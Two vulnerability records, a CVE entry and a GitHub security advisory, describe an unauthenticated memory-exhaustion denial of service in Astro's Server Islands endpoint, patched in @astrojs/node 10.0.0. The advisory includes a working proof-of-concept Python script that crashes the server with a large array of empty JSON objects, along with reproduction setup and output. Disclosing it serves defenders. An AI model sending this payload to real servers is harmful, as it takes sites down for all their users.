{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Astro is a web framework. Prior to version 10.0.0, Astro\u0027s Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0."
    }
  ],
  "id": "CVE-2026-29772",
  "lastModified": "2026-03-25T15:41:58.280",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-24T19:16:51.153",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29772"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:29:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAstro\u0027s Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.\n\n### Details\n\nAstro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:\n\n```js\n// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)\nconst raw = await request.text();    // full body buffered into memory \u2014 no size limit\nconst data = JSON.parse(raw);        // parsed into V8 object graph \u2014 no element count limit\n```\n\nThe request body is parsed before the island name is validated, so the attacker does not need to know any valid island name \u2014 `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.\n\nAdditionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.\n\n### PoC\n\n**Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.\n\nThe app does **not** use `server:defer` \u2014 this is a minimal SSR setup with no server island components. The route is still registered and exploitable.\n\n**Setup files:**\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-server-islands-dos\",\n  \"scripts\": {\n    \"build\": \"astro build\",\n    \"start\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.18.0\",\n    \"@astrojs/node\": \"9.5.4\"\n  }\n}\n```\n\n`astro.config.mjs`:\n```js\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n  output: \u0027server\u0027,\n  adapter: node({ mode: \u0027standalone\u0027 }),\n});\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAstro App\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n  \u003ch1\u003eHello\u003c/h1\u003e\n  \u003cp\u003eJust a plain SSR page. No server islands.\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n`Dockerfile`:\n```dockerfile\nFROM node:22-slim\nWORKDIR /app\nCOPY package.json .\nRUN npm install\nCOPY . .\nRUN npm run build\nEXPOSE 4321\nCMD [\"node\", \"--max-old-space-size=128\", \"dist/server/entry.mjs\"]\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  astro:\n    build: .\n    ports:\n      - \"4321:4321\"\n    deploy:\n      resources:\n        limits:\n          memory: 256m\n```\n\n**Reproduction:**\n\n```bash\n# Build and start\ndocker compose up -d\n\n# Verify server is running\ncurl http://localhost:4321/\n# =\u003e 200 OK\n```\n\n`crash.py`:\n```python\nimport requests\n\n# Any path under /_server-islands/ works \u2014 no valid island name needed\nTARGET = \"http://localhost:4321/_server-islands/x\"\n\n# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object\n# 8.6 MB on wire \u2192 ~180+ MB heap allocation \u2192 exceeds 128 MB limit\nn = 3_000_000\npayload = \u0027[\u0027 + \u0027,\u0027.join([\u0027{}\u0027] * n) + \u0027]\u0027\nprint(f\"Payload: {len(payload) / (1024*1024):.1f} MB\")\n\ntry:\n    r = requests.post(TARGET, data=payload,\n        headers={\"Content-Type\": \"application/json\"}, timeout=30)\n    print(f\"Status: {r.status_code}\")\nexcept requests.exceptions.ConnectionError:\n    print(\"Server crashed (OOM killed)\")\n```\n\n```\n$ python crash.py\nPayload: 8.6 MB\nServer crashed (OOM killed)\n\n$ curl http://localhost:4321/\ncurl: (7) Failed to connect to localhost port 4321: Connection refused\n\n$ docker compose ps\nNAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS\n(empty \u2014 container was OOM killed)\n```\n\nThe server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.\n\n### Impact\n\nAny Astro SSR app with the Node standalone adapter is affected \u2014 the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names \u2014 any value in the `[name]` parameter works because the body is parsed before the name is validated.",
  "id": "GHSA-3rmj-9m5h-8fpv",
  "modified": "2026-03-24T19:29:26Z",
  "published": "2026-03-24T19:29:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/node@10.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands"
}